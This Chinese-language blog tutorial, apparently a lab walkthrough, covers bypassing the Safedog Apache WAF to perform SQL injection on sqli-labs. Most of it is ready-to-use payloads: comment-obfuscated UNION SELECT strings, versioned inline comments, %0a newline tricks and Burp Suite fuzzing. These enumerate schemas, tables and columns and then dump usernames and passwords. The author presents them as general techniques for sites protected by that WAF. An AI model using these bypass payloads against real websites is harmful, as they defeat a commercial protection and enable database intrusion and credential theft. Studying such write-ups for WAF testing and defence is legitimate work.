实验环境:
sqli-labs
网站安全狗Linux-Apache版
版本:V2.3.18809
CentOS7+宝塔面板
apache+php+mysql
注意: 安全狗需要开启记录并拦截,否则只会记录不会拦截,没有弹窗。
这里以sqli-labs的Less-1为例。
存在字符型注入。如果没有错误回显,可以输入payload:?id=2-1 等等来判断。
Fuzz:
1' --+- 未拦截(不拦截注释符) 1' and '1'='1 拦截 1' and 1=1 --+- 拦截 1' and 1 --+ 拦截绕过方法:
1’ and -1=-1 --+和1’ and -1=-2 --+
1’ | 1<2 --+和1’ | 1>2 --+ (|是按位或)
这里执行SQL语句时id后面的值为表达式’1’ | 1<2进运算后的结果,因为|的优先级是高于=的,所以SQL语句实际上是select * from users where id=(‘1’ | 1<2),'1’会被转换为数值1,因为|的优先级比>高,所以’1’先和1进行|按位或运算,然后再判断结果是否小于2。‘1’ | 1的结果为1,然后1<2为真,返回1,所以(id=‘1’ | 1<2) ==> (id=1<2) ==> (id=1)(<的优先级比=高,1<2 返回1),同样的道理,(id=‘1’ | 1>2) ==> (id=1>2)==> (id=0),因为id=0的数据不存在,所以查询到的数据为空。
运算符优先级
运算符
1’ and ord(0x1) --+和1’ and ord(0x0) --+
1’ and ord(true/false) --+和1’ and ord(NULL) --+
ord()函数返回数值或字符的ascii码,这里ord()函数的参数是十六进制数,会返回其对应的十进制的数值,如果直接输入十进制数会被当成字符处理,而不会被当成数值处理,比如ord(0)=48。如果是字符,则会返回字符的ascii,如果是汉字,则会返回汉字的编码。
1’ and ascii(0x1) --+和1’ and ascii(0x0) --+
1’ and ascii(true/false) --+和1’ and ascii(NULL) --+
当然还有其他的绕过方法,可以自己慢慢挖掘,有好的绕过方法欢迎大佬留言。
直接order by被拦截。单独输入order或by没有被拦截,尝试内联注释:
id=1' order/**/by 1 --+- 拦截 id=1'/**/order/**/by/**/1 --+- 拦截 id=1'/**//*!order*//**//*!by*//**/1 --+- 拦截 '/**/'是mysql的多行注释。'/*!*/'是mysql数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从mysql中导出的sql语句不能被其他数据库使用,它把一些mysql特有的语句放在 /*! ... */ 中,这些语句在不兼容的数据库(非mysql)中使用时不会执行,而mysql自身却能识别、执行手工测试直接使用内联注释/* */和/*! */会被安全狗拦截,所以尝试在/* */中加一些干扰字符。下面使用burpsuite进行fuzz:
使用burpsuite抓包,并设置爆破位置:
设置payload类型为brute forcer,设置字符集为一些数字、字母和特殊字符的组合,这里设置的是/’"%!q0的随机两个到四个字符的组合:
开始爆破,得到payload为 %!q ,这里的payload并没有爆破完,应该是被安全狗拦截了。
通过使用bp进行fuzz,得到payload:id=1%27%20order/*%!q*/by%201–+
成功绕过,并得到字段数为3。
这里还有另外一种绕过方法:id=1’ order --+aaaa%0a by 3–+或id=1’ order /*|–|*/–+%20%0aby 3,在order和by之间加一些无效字符,然后再使用%0a换行。
直接union select 1,2,3被拦截。像前面判断字段数那样在union和select之间加上/*%!q*/,构造payload:id=-1%27%20union/*%!q*/select%201,2,3–+,直接绕过。
其他绕过方法: 内联注释+空语句+注释+换行
id=-1’/*!union*//*!*/ --+aaaa%0aselect 1,2,3 --+
id=-1’/*|–|*//*!10044UnIon*//*%00*/–+aaaa%20%0a/*!10044SeLECT*//**/1,2,3–+
/*!10044UnIon*/表示当mysql数据库版本>=1.00.44时才会执行中间的语句,这里的mysql版本为5.6.49(50649),所以union会执行。
这里直接输入database()会被拦截,但是输入database和database1()不会被拦截,所以安全狗是使用正则匹配database()函数,只要将函数的特征打乱,就能绕过。
页面报错说明payload成功传输到后端,没有被安全狗拦截。
构造payload:id=-1%27%20union/*%!q*/select%201,2,database/*%!q*/()–+,在database和()之间加上/*%!q*/,打乱函数特征,绕过正则匹配。
其他绕过方法:
database/*!(*/)
@a:=database/**/()
注:@a:=1 等同于set @a=1,@在mysql中表示变量,@a表示变量a,set为变量赋值。
详细介绍参照:https://xz.aliyun.com/t/2069
payload:id=-1%27%20union/*%!q*/select%201,2,@@datadir–+
payload:id=-1%27%20union/*%!q*/select%201,2,(select group_concat(schema_name)%20from%20information_schema.schemata)%20–+ 被拦截
重新构造payload,在select和group_concat()之间插入/*%!q*/:
id=-1%27%20union/*%!q*/select%201,2,(select/*%!q*/group_concat(schema_name)%20from%20information_schema.schemata)%20–±
其他绕过方法:
id=-1%27/*!union*//*!*/–+1%0a%0aselect 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata–+*/%23
payload:id=-1%27%20union/*%!q*/select%201,2,(select group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)%20–+ 被拦截
重新构造payload:
id=-1%27%20union/*%!q*/select%201,2,(select/*%!q*/group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)%20–+
其他绕过方法:
id=-1%27/*!union*//*!*/–+1%0a%0aselect 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata–+*/%23
id=-1%27/*|–|*//*!10044UnIon*//*%00*/–+a%20%0a/*!10044SeLECT*//**/11111,database/*!10044(*/),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database/*!10044(*/)–+\
payload:id=-1%27%20union/*%!q*/select%201,2,(select group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%20–+ 被拦截
重新构造payload:
id=-1%27%20union/*%!q*/select%201,2,(select/*%!q*/group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%20–+
其他绕过方法:
id=-1%27/*!union*//*!*/–+1%0a%0aselect%201,2,concat(/*!column_name*/)%20/*!from*/%20information_schema.columns%20where%20table_name=0x7573657273–+*/%23
0x7573657273经过十六进制解码就是users。
payload:id=-1%27%20union/*%!q*/select%201,group_concat(username),group_concat(password)%20from%20users --+
重新构造payload:id=-1%27%20union/*%!q*/select%201,/*%!q*/group_concat(username),/*%!q*/group_concat(password)%20from%20users%20–+
其他绕过方法:
id=-1’/*!union*//*!*/–+1%0a%0aselect 1,2,concat(/*!username*/) /*!from*/ users–+*/%23
id=-1’/*|–|*//*!10044UnIon*//*%00*/–+a%20%0a/*!10044SeLECT*//**/11111,username,password/*%00*/–+aaabbbccc%0afrom users–+\
对于SQL注入,首先需要判断是否存在注入点,如果存在注入点,就需要考虑是否有回显,然后就是一些常规操作。对于存在安全狗的网站,可以先使用burpsuite进行fuzz,常用的fuzz组合为/ ! ’ " % q - |,通过fuzz得到绕过规则;还可以使用内联注释+空语句+注释+换行(%a,%00)等方式绕过。
最后欢迎大家访问我的博客:https://webysx.github.io(PS:需要科学上网)
参考文章:
SQLbypass-最新安全狗4.0
全方面绕过安全狗注入
在《WAF攻防之SQL注入篇》中几个有意思的发现
WAF攻防之SQL注入篇(强推)